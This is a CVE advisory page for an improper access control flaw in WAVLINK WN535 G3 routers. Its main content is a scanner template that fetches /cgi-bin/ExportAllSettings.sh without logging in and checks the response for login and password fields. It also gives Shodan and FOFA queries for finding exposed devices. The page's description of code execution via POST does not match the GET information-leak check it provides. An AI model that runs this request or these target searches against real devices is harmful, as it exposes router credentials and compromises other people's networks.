CVE-2022-34576: WAVLINK WN535 G3 - Improper Access Control

2025-08-01 WAVLINK WN535 G3 PoC Public

Description

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-34576

info:
  name: WAVLINK WN535 G3 - Improper Access Control
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3_Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34576
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/tr3ss/gofetch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34576
    epss-score: 0.0364
    epss-percentile: 0.88978
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022069f44d7fd4a8ab283b606b9049d57d317bc767e1b1104d0b0416d2129b07b4d702207a923d0b3e3add47b46ea20a7d775787f7f8cd0df7eb7fabe8891dfe54955323:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities